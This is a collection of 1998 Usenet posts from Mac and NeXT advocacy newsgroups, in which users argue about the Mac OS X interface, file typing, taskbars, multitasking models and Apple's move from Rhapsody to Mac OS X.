Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X UI
Date: Tue, 28 Jul 1998 23:05:53 -0500
Organization: University of Illinois at Urbana-Champaign
Message-ID: <Pine.SOL.3.96.980728225413.5319B-100000@ux9.cso.uiuc.edu>
References: <andyba-ya02408000R2307981115550001@news> <Pine.SOL.3.96.980723142547.24544A-100000@ux9.cso.uiuc.edu> <1dco1vu.1tcsxcs13uk71oN@hoorn23.multiweb.net> <Pine.SOL.3.96.980724134947.26891A-100000@ux8.cso.uiuc.edu> <1dcrv9l.wtv1wr1idgbl2N@hoorn02.multiweb.net> <Pine.SOL.3.96.980727112448.21442C-100000@ux7.cso.uiuc.edu> <1dcuo10.1rj9fxyx5rw94N@hoorn07.multiweb.net> <Pine.SOL.3.96.980728101529.17041D-100000@ux8.cso.uiuc.edu> <andyba-ya02408000R2807981522430001@news>
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In-Reply-To: <andyba-ya02408000R2807981522430001@news>
On Tue, 28 Jul 1998, Andy Bates wrote:
> In article <Pine.SOL.3.96.980728101529.17041D-100000@ux8.cso.uiuc.edu>,
> Pulsar <tokarek@uiuc.edu> wrote:
>
> > Also, it doesn't have to do this _all_ the time _every_ time. Once a file
> > is typed, it shouldn't need to be typed again unless it gets replaced.
> > Also, certain files should be exempt. Preferences files don't always have
> > any recognizable format and probably shouldn't be typed this way.
>
> Well then, where are you going to store the file type that gets calculated?
> It looks like the type/creator fields that you complained about are
> necessary after all, even with your proposed new system.
What you fail to understand is that I have no problem with type/creator
codes when everything works properly. The problem I have with them is that
they do not always work properly. That is my complaint.
Addressing my complaint does _not_ require junking the entire type/creator
code system. What I propose could still make use of type/creator codes.
They are not strictly necessary. Another similar system could do in place
of them. It is not even strictly necessary to have anything like them,
though I think it would be a good idea. What I propose would be a
supplement. Gee. I used very similar wording involving "supplement" in the
post which you have _conveniently_ snipped.
You seem to continually take my position to the extreme and use that as
proof that I'm wrong or that the concept is seriously flawed. It's not
working. You just look dumb when you do it. Each time I point out where
your counterargument is wrong, you appear to drop the issue. It's very odd
behavior.
Oh, well.
Ryan Tokarek
<tokarek@uiuc.edu>
<http://www.ews.uiuc.edu/~tokarek>
From: Landivar2 <landivar2@geocities.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: what the heck?(WAS: Market share numbers)
Date: Tue, 28 Jul 1998 23:18:56 -0500
Organization: TCA Networks, College Station Texas 409.693.8885
Message-ID: <35BEA2B0.1932@geocities.com>
References: <joe.ragosta-2707980922590001@wil37.dol.net> <macghod-2707981119300001@sdn-ar-001casbarp259.dialsprint.net> <35bcde8a.0@news.depaul.edu> <macghod-2707981851450001@sdn-ar-002casbarp026.dialsprint.net>
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Steve Sullivan wrote:
<very big snip>
The numbers are for % of computers sold in a certain time fraim not
for total computers sold.
From: davexl@ozramp.net.au.despam-me! (davexl)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: View from the trenches
Date: Wed, 29 Jul 1998 04:59:13 GMT
Organization: Telstra Multimedia - Melbourne Site 1
Message-ID: <35beabe0.19780813@10.1.1.9>
References: <6ori3d$sbi$1@lwnws01.ne.highway1.com> <Josh.McKee-1907981006510001@pm3a16.rmac.net> <6ot75m$16j$1@lwnws01.ne.highway1.com> <Josh.McKee-1907981309250001@pm3a13.rmac.net> <6ou35v$h4l$1@nnrp1.dejanews.com> <Josh.McKee-2107981925440001@pm3a2.rmac.net> <gmgraves-2207981043260001@sf-usr1-22-150.dialup.slip.net> <6p5mqd$nsu$1@nnrp1.dejanews.com> <Josh.McKee-2307981810170001@pm3a8.rmac.net> <6p9acg$o8n$1@nnrp1.dejanews.com> <joe.ragosta-2507981956290001@elk82.dol.net>
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joe.ragosta@dol.net (Joe Ragosta) wrote:
>In article <6p9acg$o8n$1@nnrp1.dejanews.com>, quinlan@my-dejanews.com wrote:
>
>> In article <Josh.McKee-2307981810170001@pm3a8.rmac.net>,
>> Josh.McKee@cbns.com (Joshua T. McKee) wrote:
>>
>> > You see, Windows 95 has all the buzzwords, but the implementation of them
>> > nullifies the results.
>>
>> It reduces the results. It is still better than the MacOS.
>
>In what way? Please be specific with unbiased evidence to back up your claim.
>
>Oh, you don't have any evidence? I didn't think so.
Printing from Photoshop on Mac.
Load up contact manager.
Print never comes out.
Realise problem - close contact manager.
Photoshop gets cpu back and finishes print.
Bang head on desk, missing my NT box.
From: John Kheit <jkheit@mediaone.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Date: 29 Jul 1998 05:28:47 GMT
Organization: UCO & Associates, NH, USA
Message-ID: <6pmbuf$dur$1@lwnws01.ne.highway1.com>
References: <gmgraves-2207981543400001@sf-pm5-19-83.dialup.slip.net> <6p7leg$al7$6@hecate.umd.edu> <joe.ragosta-2307982201500001@elk97.dol.net> <6p952e$nl4$1@bunyip.cc.uq.edu.au> <joe.ragosta-2407980806200001@wil49.dol.net> <35B88EBF.3BC076E0@nstar.net> <6pcnrs$2nn$1@nnrp03.primenet.com> <MPG.10241087c3e86ccb9899fd@news.supernews.com> <6pdtgc$kif$2@news.xmission.com> <MPG.1024ffe3de969257989a09@news.supernews.com> <35BB5C55.720E1EDF@planetary.net> <joe.ragosta-2607981539250001@elk62.dol.net> <6pggns$1i1$1@lwnws01.ne.highway1.com> <joe.ragosta-2607982105300001@elk91.dol.net> <6pglve$1i1$6@lwnws01.ne.highway1.com> <joe.ragosta-2707980631070001@elk49.dol.net> <macghod-2707981159350001@sdn-ar-001casbarp306.dialsprint.net> <slrn6rq9lp.na3.jason@jhste1.dyn.ml.org> <MPG.1027927fcc9f1d52989a2f@news.supernews.com> <6pkn6c$9re$4@lwnws01.ne.highway1.com> <6pl3r3$b4o$1@nnrp1.dejanews.com> <35BE3089.76CC988A@ericsson.com> <6pm4vg$1ud$1@nnrp1.dejanews.com>
arlist@my-dejanews.com wrote:
> Let me just say that my lawyer has been informed of your defamatory
> and libelous statement that I am dishonest, and is preparing an
> ironclad case against you and your entire family, and everyone
> who has ever had the misfortune to know you.
Warning? What, and ruin the surprise!? ;)
--
Thanks, be well, take care, later, John Kheit; self expressed...
______________________________________________________________________
UCO & A S S O C I A T E S ASCII, MIME, PGP, SUN, & NeXTmail OK
mailto:jkheit@uco-iplaw.com
http://people.ne.mediaone.net/jkheit
You're dangerous because you're honest...
From: gaost3+@pitt.edu (Gwen A Orel)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Why are Macs better?
Followup-To: comp.sys.mac.advocacy,comp.sys.next.advocacy
Date: 28 Jul 1998 20:40:13 GMT
Organization: University of Pittsburgh
Message-ID: <6plcvd$637$1@usenet01.srv.cis.pitt.edu>
References: <1998072421045300.RAA01111@ladder01.news.aol.com> <35b9158f.919536@news.mindspring.com> <35BBB5F1.165E3C5@NOSPAMnbnet.nb.ca> <Macghod-2607981933060001@sdn-ar-001casbarp068.dialsprint.net> <6pgrr9$81b$1@lwnws01.ne.highway1.com> <6pgsls$4pi$1@bunyip.cc.uq.edu.au> <jayfar-2707981139520001@dyn-103.blackbox-4.netaxs.com> <6pl7ks$hk2$1@nnrp1.dejanews.com>
Triadmwest@my-dejanews.com wrote:
: I also ride horses so I am going to use an analogy based on that.
: Using her PC is like riding English - a lot of showy work to get to the same
: place that someone riding Western also gets to with a lot less to remember,
: and with a whole lot less effort. true, a Western saddle costs more than an
: English saddle, but if you ever ride the same 40 miles in both, your body
: will tell you the Western saddle is worth the extra money.
Depends which you learn first-- I find riding Western exhausting.
I miss the control of an English saddle and stirrups. So I dislike
the analogy, it doesn't work for me, because I also prefer Macs.
I also like cars which are automatic and easy to drive.
Gwen
--
"Live as one already dead." --Japanese saying
If one tells the truth one is sure, sooner or later, to be found out.
--Oscar Wilde
From: smileyy@ix.netcom.com (Andrew McCormick)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Quicktime, Microsoft, Rhaptel
Date: Tue, 28 Jul 1998 17:44:43 -0400
Organization: ICGNetcom
Message-ID: <smileyy-2807981744440001@cin-oh2-17.ix.netcom.com>
References: <6pd5ou$p7t@newsb.netnews.att.com> <35c0bc2f.102516765@198.0.0.100> <6ph7vq$gpe$1@morgoth.sfu.ca> <35bda941.163206843@198.0.0.100> <6pie25$96h$1@morgoth.sfu.ca> <6pkvnt$to4$1@news.cc.ukans.edu> <ericb-2807981531200001@128.84.203.149>
yO|mu63W9l,<&>Elu}#LIobQ32F
In article <ericb-2807981531200001@128.84.203.149>, ericb@pobox.com (Eric
Bennett) wrote:
>In article <6pkvnt$to4$1@news.cc.ukans.edu>, "Nathan Hughes"
><nhughes@sunflower.com> wrote:
>
>
>> OK, point me to the QT streaming content. Point me to the real time encoded
>> QT streaming content. Let me know if it ever happens.
>
>It happens all over the Internet today. The QuickTime plug-in has been
>able to stream video and audio since the previous release in QuickTime
>2.5.
I don't think QT can do random access of files though, can it? That is,
access minute 20 of a speech without downloading minutes 0-19 first? Or
am I wrong?
Andrew McCormick
--
smileyy@ix.netcom.com
From: Pulsar <tokarek@uiuc.edu>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X UI
Date: Tue, 28 Jul 1998 16:31:14 -0500
Organization: University of Illinois at Urbana-Champaign
Message-ID: <Pine.SOL.3.96.980728162831.26339A-100000@ux8.cso.uiuc.edu>
References: <1dchch6.146wrtfq31jjjN@rhrz-isdn3-p34.rhrz.uni-bonn.de> <Pine.SOL.3.96.980723142547.24544A-100000@ux9.cso.uiuc.edu> <andyba-ya02408000R2407981101130001@news> <Pine.SOL.3.96.980727102938.21442B-100000@ux7.cso.uiuc.edu> <6picpl$6pd@newsb.netnews.att.com> <Pine.SOL.3.96.980727170446.19424C-100000@ux7.cso.uiuc.edu> <alex-2707982019480001@castle.webis.net> <Pine.SOL.3.96.980728151624.21913F-100000@ux8.cso.uiuc.edu> <alex-2807981606170001@castle.webis.net>
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
In-Reply-To: <alex-2807981606170001@castle.webis.net>
On Tue, 28 Jul 1998, Alex Kac wrote:
> In article <Pine.SOL.3.96.980728151624.21913F-100000@ux8.cso.uiuc.edu>,
> Pulsar <tokarek@uiuc.edu> wrote:
>
> : On Mon, 27 Jul 1998, Alex Kac wrote:
> :
<snip>
> : That is a Windows problem. That is not a taskbar problem (not exactly).
>
> The thread is about the taskbar and how Windows uses windows.
Actually, it's about the Mac's future UI. These last messages were about
one particular flaw of the Mac OS that involves the lack of a taskbar like
solution. There is only the application menu right now which doesn't solve
some of the problems well enough.
> : > On my Mac, I just hide it or close the window and I'm fine. I have GoMac
> : > (and love it), but I can minimze NetScape's task bar slot to almost
> : > nothing.
> :
> : GoMac may be just the kind of thing I'm talking about. I've never used it
> : or even really seen it.
>
> I've been using GoMac forever. Its great. The Taskbar DONE RIGHT. First of
> all, it lists apps in the taskbar, not windows. Second of all you can quit
> apps, hide them , and even dock them as tiny icons on the right. Under 8.5
> is perfect. You get the task list at the bottom of the screen, and the
> current running app's name at the top (where the OS's task menu lives).
I guess I oughta give it a shot.
Ryan Tokarek
<tokarek@uiuc.edu>
<http://www.ews.uiuc.edu/~tokarek>
From: quinlan@my-dejanews.com
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: View from the trenches
Date: Wed, 29 Jul 1998 05:30:37 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6pmc1t$b4i$1@nnrp1.dejanews.com>
References: <6or4sj$83a$1@supernews.com> <Josh.McKee-1907981006510001@pm3a16.rmac.net> <6ot75m$16j$1@lwnws01.ne.highway1.com> <Josh.McKee-1907981309250001@pm3a13.rmac.net> <6ovhg8$qsp@newsb.netnews.att.com> <Josh.McKee-2107981856040001@pm3a15.rmac.net> <6p45f7$l73$1@nnrp1.dejanews.com> <Josh.McKee-2307981802510001@pm3a8.rmac.net> <6p9ami$olq$1@nnrp1.dejanews.com> <Josh.McKee-2407981743100001@pm3a13.rmac.net> <6pc9b1$8qd$1@nnrp1.dejanews.com> <Josh.McKee-2507980855240001@pm3a23.rmac.net> <MPG.102417abebbe2be9989a03@news.supernews.com> <Josh.McKee-2607980957160001@pm3a6.rmac.net> <6phe0p$kdi$1@nnrp1.dejanews.com> <Josh.McKee-2707982204590001@pm3a20.rmac.net> <6pjrh9$sos$1@nnrp1.dejanews.com> <Josh.McKee-2807981800070001@pm3a10.rmac.net>
In article <Josh.McKee-2807981800070001@pm3a10.rmac.net>,
Josh.McKee@cbns.com (Joshua T. McKee) wrote:
> So the mere fact that one has PMT and the other doesn't is all that
> counts?
No.
> You don't care how well they work in the real world?
I do care.
> All that counts is that one has the buzzword, while the other does not?
No, buzzwords aren't very important to me but the features that represent
might be.
> Easy...the very word "Pre-emptive" means that an application should not be
> able to block the OS.
Obviously it does not. The word "preemptive" is not defined in neither terms
of applications nor of operating systems.
> Yep...but throw in a 16 bit application and everything stops. Not very
> "preemptive" in my book.
Name one operating system where it is impossible for any application to delay
preemptive sheduling.
> Or are you going to come back with the "who uses 16 bit applications
> anymore" arguement? Doesn't matter...if you pick and choose your
> applications correctly on either platform, then it shouldn't be much of an
> issue.
There is a spectrum here that you are not perceiving. Windows 95 multitasking
is not perfect (nor even good) but it is still better than Mac OS
multitasking. BTW, I cannot pick any Mac OS applications which allow me to do
other work while they are loading. I am also an avid gamer so which MacOS
games can I choose which will cooperative multitask during game play? Quake?
Descent? X- Wing?
> You're saying that the Mac's CMT is bad
> because it can be blocked by an application.
Please reread the statement that you were responding to because I said no such
think. I stated that even the best Mac OS applications cause inefficient
sheduling because they are forced to make scheduling decisions instead of
allowing an operating system scheduler to do this.
> Likewise, I can't say which is more efficient...depends on your needs.
> However, I think the amount of "inefficiency" would be negligable in most
> instances. Care to name one where it would make a big difference?
Yes, the Mac OS is very inefficent a scheduling I/O bound tasks. When Mac OS
applications are executing I/O bound tasks, they surrender the CPU to the
operating system periodically (by calling WaitNextEvent/GetNextEvent) and
wait for the operating system to return to them. A few applications make
asynchronous I/O calls right before they surrender the processor but most
just make synchronous calls when they regain the CPU. In the later (more
common case) the CPU is blocked waiting for an I/O operation to complete
when, in a PMT environment, a new process could be scheduled. Usually, a
preemptive scheduler would also favor the I/O bound task (for obvious
efficiency reasons) and schedule it after the I/O operating. In both
synchronous and asynchronous I/O operations, the Mac OS cannot do this
because it cannot claim the processor from a running process without that
process specifically relinquishing it.
BTW, please name in instance when CMT is more efficient than PMT.
> And I'm not saying that PMT is bad. What I am saying is that from an end
> user point of view, the two are very comparable.
Of course they are comparable e.g. when measuring efficiency PMT is better
than CMT.
--
Brian Quinlan
quinlan@intergate.bc.ca
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/rg_mkgrp.xp Create Your Own Free Member Forum
From: "Christopher Smith" <drsmithy@usa.net>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X UI
Date: Wed, 29 Jul 1998 15:44:29 +1000
Organization: University of Queensland
Message-ID: <6pmcs9$s9t$2@bunyip.cc.uq.edu.au>
References: <Pine.SOL.3.96.980721100007.9943A-100000@ux7.cso.uiuc.edu> <andyba-ya02408000R2107981835050001@news> <Pine.SOL.3.96.980722104316.22438D-100000@ux8.cso.uiuc.edu> <andyba-ya02408000R2307981115550001@news> <Pine.SOL.3.96.980723142547.24544A-100000@ux9.cso.uiuc.edu> <andyba-ya02408000R2407981101130001@news> <Pine.SOL.3.96.980727102938.21442B-100000@ux7.cso.uiuc.edu> <6pid6g$atl$1@bunyip.cc.uq.edu.au> <Pine.SOL.3.96.980727133724.966B-100000@ux5.cso.uiuc.edu> <6pjkir$6jb$1@bunyip.cc.uq.edu.au> <Pine.SOL.3.96.980728110556.17041H-100000@ux8.cso.uiuc.edu>
Pulsar <tokarek@uiuc.edu> wrote in message
Pine.SOL.3.96.980728110556.17041H-100000@ux8.cso.uiuc.edu...
>On Tue, 28 Jul 1998, Christopher Smith wrote:
>
>>
>> Pulsar <tokarek@uiuc.edu> wrote in message
>> Pine.SOL.3.96.980727133724.966B-100000@ux5.cso.uiuc.edu...
>> >On Tue, 28 Jul 1998, Christopher Smith wrote:
>Here is what I think it should do (pay attention to the indentation):
>
>Have the menu sit where ever the user puts it (say at the top left
>corner).
>
>Right click
>
> Bring up a copy of the root menu under the pointer
>
> maneuver through menu heirarchy until you select something
>
> menu goes away so you're left only with the original top-left menu
>
> click outside the menu and it is dismissed
This is the only bit I don't like, I think it should disappear as soon as
the mouse moves outside the menu area. However, I am used to (and quite
like) the way a mouse click over a background window will translate through
to that application under Windows.
>
> continue working as normal
>
>Note that clicking outside the menu should not be interpreted as a command
>to do something unless you click somewhere and hold or drag. A single
>click should just dismiss the menu.
>
>> >I would add:
>> >
>> >4) Provide some obvious indication of the foreground application.
>>
>> The button is pushed in and a different colour - what more do you want ?
:)
>> Admittedly I have noticed times when a program leaps to the foreground
and
>> the taskbar does not change appropriately, but it's rare.
>
>You're right. It's been months since I've been at a Windows machine. I
>have noticed that it gets confused sometimes though. I've never been able
>to figure out why.
>
>Also there's no indication that a window is minimized. There is just the
>button with no corresponing visible window.
Personally I don't think there needs to be a distinction on the taskbar.
>> >> I wrote a whole post a few months back on how I'd like to see
"mountable"
>> >> devices implemented, and I was surprised you didn't reply to it :).
I'd
>> >> appreciate it if you could dig it up in Dejanews (or email me and I'll
>> >> send it back) and tell me what you think.
>> >
>> >Hmm... I think I just missed that. Sorry. I'll poke through Dejanews
>> >though and comment on it. Perhaps it is a good solution to this issue
on
>> >the Mac.
>>
>> Well I think it's pretty good :P.
>
>I found it. It is an interesting idea except I have a couple problems with
>it.
>
>I don't like the idea of having to go through an extra "folder" like thing
>to get to my drives. I do not like the "My Computer" way of grouping
>drives as in Windows. Perhaps a partition of the desktop could be set
>aside by the user for drives and inside this, the devices (unmounted and
>mounted) could sit. I don't want it to be so blatant as a full window, but
>it would be good to provide some separation with the rest of the desktop.
>I dunno. I will think about it.
I suppose you could do it with a window you could permanently "dock" to the
side of the screen. The reason I didn't think of that is because I really
don't like the way the desktop is implemented on MacOS - specifically things
like drives and printers being on the desktop and the way you can never be
100% sure where the objects that appear to be on the desktop *really* are.
>
>Network volumes seems to me to be a big potential issue. I like neither
>the Windows Network Neighborhood nor the Mac Chooser (though Network
>Neighborhood is better in some ways).
Network volumes are never going to fit 100% in, because they aren't a
physical device, but much of their behaviour is analagous to a physical
device.
>
>Otherwise I think it is a great idea. Having the somewhat grayed out
>unmounted partition with a mounted partition is great. This solves on
>issue on the Mac of having Zip drives that don't automatically inform the
>OS that something has been inserted. (This is why the Mac OS needs a
>driver... the driver periodically checks the drive to see if there's a
>disk there and tells the OS if there is.)
>
>I also like the idea of having the eject button be a signal to the OS to
>unmount and eject it. I think that should have been used for removables
>_long_ ago. (I just wish the Mac floppy drives had a button to do that.)
This is on of my biggest gripes about floppies and the Mac. (Goddamnit I
*like* pushing the eject button :)
>> FWIW there seems to be a "new" way of identifying filetypes that comes
with
>> Office 97 (cum OS upgrade) - I've also heard people say it works with
O95,
>> but haven't had time to test it myself. If you take any Office 97 file
and
>> remove the extension, the file is still recognised as the correct type of
>> Office file (ie you double-click on it and it opens in the right
>> application). This is true even if you take the file to another machine,
so
>> it's not "cheating" by storing something in the registry. Apparently it
has
>> something to do with COM and the OS checking a "header" or "attribute" of
>> the file "object" when it is double-clicked - sorry I can't tell you more
>> but I just don't know enough about it. To me it sounds like the best way
of
>> identifying filetypes, and much like what you are proposing.
>
>It does sound like an OLE kind of thing. (OLE, ActiveX, COM, DCOM, COM+,
>and all the names Microsoft has for basically the same concept.)
>
>I wonder how much bigger it makes files.
Well I like the look of it (appears to be cross-platform, ie you can put the
file on, or move it through *any* filesystem and it'll still work - this is
the biggest problem with forks IMHO), but what remains to be seen is if
anyone else will (or can) write programs that use it.
>
>Ryan Tokarek
><tokarek@uiuc.edu>
><http://www.ews.uiuc.edu/~tokarek>
>
From: quinlan@my-dejanews.com
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: View from the trenches
Date: Tue, 28 Jul 1998 22:24:55 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6plj3n$5f1$1@nnrp1.dejanews.com>
References: <6or4sj$83a$1@supernews.com> <alex-1807981924120001@castle.webis.net> <6ori3d$sbi$1@lwnws01.ne.highway1.com> <Josh.McKee-1907981006510001@pm3a16.rmac.net> <6ot75m$16j$1@lwnws01.ne.highway1.com> <Josh.McKee-1907981309250001@pm3a13.rmac.net> <6ou35v$h4l$1@nnrp1.dejanews.com> <Josh.McKee-2107981925440001@pm3a2.rmac.net> <gmgraves-2207981043260001@sf-usr1-22-150.dialup.slip.net> <6p5mqd$nsu$1@nnrp1.dejanews.com> <Josh.McKee-2307981810170001@pm3a8.rmac.net> <6p9acg$o8n$1@nnrp1.dejanews.com> <joe.ragosta-2507981956290001@elk82.dol.net> <6phbrl$ibc$1@nnrp1.dejanews.com> <6pim7q$6sg$1@supernews.com> <6pisq8$jtg$1@nnrp1.dejanews.com> <joe.ragosta-2807980911080001@wil43.dol.net>
In article <joe.ragosta-2807980911080001@wil43.dol.net>,
joe.ragosta@dol.net (Joe Ragosta) wrote:
> Big deal. Try my example:
>
> "fdisk"
>
> This destroys my Windows setup but my Mac just laughs at it.
fdisk is a utility whose function is to format your disk. Do you think that
disk formatters shoudn't exist?
> You can find a way to crash virtually any OS. Your point is irrelevant.
But some operating systems are easier than others to crash. The Mac OS is more
prone to crashing than Windows 95.
--
Brian Quinlan
quinlan@intergate.bc.ca
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/rg_mkgrp.xp Create Your Own Free Member Forum
From: quinlan@my-dejanews.com
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: View from the trenches
Date: Tue, 28 Jul 1998 22:15:52 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6pliio$515$1@nnrp1.dejanews.com>
References: <6or4sj$83a$1@supernews.com> <Josh.McKee-1907981006510001@pm3a16.rmac.net> <6ot75m$16j$1@lwnws01.ne.highway1.com> <Josh.McKee-1907981309250001@pm3a13.rmac.net> <6ovhg8$qsp@newsb.netnews.att.com> <Josh.McKee-2107981856040001@pm3a15.rmac.net> <6p45f7$l73$1@nnrp1.dejanews.com> <Josh.McKee-2307981802510001@pm3a8.rmac.net> <6p9ami$olq$1@nnrp1.dejanews.com> <Josh.McKee-2407981743100001@pm3a13.rmac.net> <6pc9b1$8qd$1@nnrp1.dejanews.com> <MPG.1024148b9fd31ab8989a01@news.supernews.com> <6phc10$ibo$1@nnrp1.dejanews.com> <MPG.1026cb1fb68b3d3c989a2e@news.supernews.com> <6pjfht$dho$1@nnrp1.dejanews.com> <joe.ragosta-2807980909560001@wil43.dol.net>
In article <joe.ragosta-2807980909560001@wil43.dol.net>,
joe.ragosta@dol.net (Joe Ragosta) wrote:
> > Then why use the Mac OS? Buying a PC and running Windows is significantly
> > cheaper than buying a Mac.
>
> Not when you consider the total cost of ownership and not just the money
> you saved on Warez.
The message that I replied to stated that "For most people, almost all of the
time, the difference [between Mac OS and Windows] is not significant." Given
that premise, concluding that buying a PC is a better descision is reasonable.
You may disagree with that premise but I did not state it.
--
Brian Quinlan
quinlan@intergate.bc.ca
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/rg_mkgrp.xp Create Your Own Free Member Forum
From: "Jon G. Temple" <jontemple@earthlink.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: Tue, 28 Jul 1998 19:17:48 -0400
Organization: jontemple@earthlink.net
Message-ID: <35BE5C19.300D186F@earthlink.net>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <MPG.101e43ebee3790959899d5@news.supernews.com> <MPG.101edc88c6da7b4a9899d6@news.supernews.com> <6p3d1m$mr6$1@camel18.mindspring.com> <6p443i$iom$1@nnrp1.dejanews.com> <MPG.10204e80816f66a69899e4@news.supernews.com> <6p6loq$ood$1@nnrp1.dejanews.com> <slrn6re6d9.32b.jason@jhste1.dyn.ml.org> <6p85r5$h40$1@nnrp1.dejanews.com> <35BDF088.8AE8204@earthlink.net> <joe.ragosta-2807981306530001@wil53.dol.net>
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Joe Ragosta wrote:
> In article <35BDF088.8AE8204@earthlink.net>, jontemple@earthlink.net wrote:
>
> > quinlan@my-dejanews.com wrote:
> >
> > > In article <slrn6re6d9.32b.jason@jhste1.dyn.ml.org>,
> > > jason@jhste1.dyn.ml.org (Jason S.) wrote:
> > >
> > > > m68k->SPARC (Sun). AFAIK, Solaris never supported m68k.
> > >
> > > But didn't Solaris come out well after the introduction of the SPARC based
> > > Suns? And, IMHO, SunOS to Solaris was a much smaller jump than MacOS 9 to
> > > MacOS X will be.
> >
> > Actually, the jump in question is not from 8.x or 9.x to Mac OS X, but from
> > Rhapsody or Mac OS Server to Mac OS X. PCI Macs are presently supported by
> > Rhapsody, and the jump to the unsupported Mac OS X will be pretty pitifully
> > small as jumps go.
>
> Pitifully small??
>
> New kernel
> New graphics system
> New driver model
> New set of Carbon APIs
>
> Nope, nothing new there.
Much less than the jump from Mac OS to Rhapsody. The jump from Rhapsody to Mac OS
X is incremental only. It reflects a continued integration of Apple technologies
with NeXT technologies, that is all, something that they had running in alpha
version already at the last MacWorld. It is not a new OS; it is a new version of
an OS (Rhapsody).
From: "Christopher Smith" <drsmithy@usa.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: Wed, 29 Jul 1998 15:57:44 +1000
Organization: University of Queensland
Message-ID: <6pmdl4$lil$2@bunyip.cc.uq.edu.au>
References: <35ba359f.0@news.depaul.edu> <B1DFC422-5CEC1@206.165.43.15> <joe.ragosta-2607980812040001@elk85.dol.net> <Josh.McKee-2607981711240001@pm3a17.rmac.net> <joe.ragosta-2607982033560001@elk91.dol.net> <35BDEEED.DF7F517E@earthlink.net> <joe.ragosta-2807981153280001@0.0.0.0>
Joe Ragosta <joe.ragosta@dol.net> wrote in message
joe.ragosta-2807981153280001@0.0.0.0...
>In article <35BDEEED.DF7F517E@earthlink.net>, jontemple@earthlink.net
wrote:
>
>> Joe Ragosta wrote:
>>
>> > In article <Josh.McKee-2607981711240001@pm3a17.rmac.net>,
>> > Josh.McKee@cbns.com (Joshua T. McKee) wrote:
>> >
>> > > In article <joe.ragosta-2607980812040001@elk85.dol.net>,
>> > > joe.ragosta@dol.net (Joe Ragosta) wrote:
>> A truly weak point since Apple has elected to obsolete machines less than
2
>> months old (9600/350). Even if MacOS X does ship on time, obsoleting a
>machine
>> less than 2 years old is horrendous.
>
>Just as Microsoft and Intel will be obsoleting old machines months after
>they ship.
When and how ?
>
>>
>> It USED to be that Apple waited 10 years before obsoleting a machine;
>now they do
>> it as soon as they shove it out the door.
>
>If it were a trend, I'd be worried. But sometimes you need to make a clean
>break with the past. I'd rather deal with a single discontinuity than
>another Copland fiasco.
They should ahve made their "clean break" when they switched to PPC, it
would be a much different world today if they had have.
>
>--
>Regards,
>Joe Ragosta
>http://www.dol.net/~Ragosta/complmac.htm
From: "Christopher Smith" <drsmithy@usa.net>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Window Shade: *please* make this go away
Date: Wed, 29 Jul 1998 16:15:58 +1000
Organization: University of Queensland
Message-ID: <6pmenb$trv$2@bunyip.cc.uq.edu.au>
References: <6oqr65$ept$1@supernews.com> <stone-ya02408000R1807981951280001@news.enetis.net> <6pktoe$qhd$1@walter.cs.umd.edu> <6pl5bu$dr1$1@nnrp1.dejanews.com>
<spagiola@my-dejanews.com> wrote in message
6pl5bu$dr1$1@nnrp1.dejanews.com...
>seanl@cs.umd.edu (Sean Luke) wrote:
>[Lots of good points about how poor a UI element windowshades are]
>
>The other problem I have with Windows' implementation of this idea is that
>the absolute position of various miniaturized windows in the task bar is
>constantly shifting as windows are opened and re-miniaturized. A tile which
>might be at far left at one point may be at far right at another. This
makes
>getting at a given window needlessly difficult, since every time I need to
>scan the entire task bar to find the one I want. Under NeXSTEP, tiles stay
>put (and I can reposition them if I care to) making keeping track of them
>easier.
This is incorrect, minimising and restoring windows does not change their
order on the taskbar, only closing and re-opening them will do it.
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: 28 Jul 98 17:46:53 -0700
Organization: Frontier GlobalCenter Inc.
Message-ID: <B1E3BF15-4B7AA@206.165.43.1>
References: <joe.ragosta-2807981306530001@wil53.dol.net>
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
nntp://news.primenet.com/comp.sys.mac.system,
nntp://news.primenet.com/comp.sys.next.advocacy
Joe Ragosta <joe.ragosta@dol.net> said:
>New kernel
They knew for over a year (almost from the NeXT purchase) that a new kernel
would be in the works. Wasn't NeXT/OpenStep supposed to go to a new kernel
even before NeXT was sold to Apple?
>New graphics system
Not really. The X graphics system is merely the underlying graphics engine
of DPS without the language.
>New driver model
I thought that drivers were trivial to do with NeXT?
>New set of Carbon APIs
Based, for the most part, on services that the kernel will provide, or so I
glean from the various diagrams and white papers floating around.
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
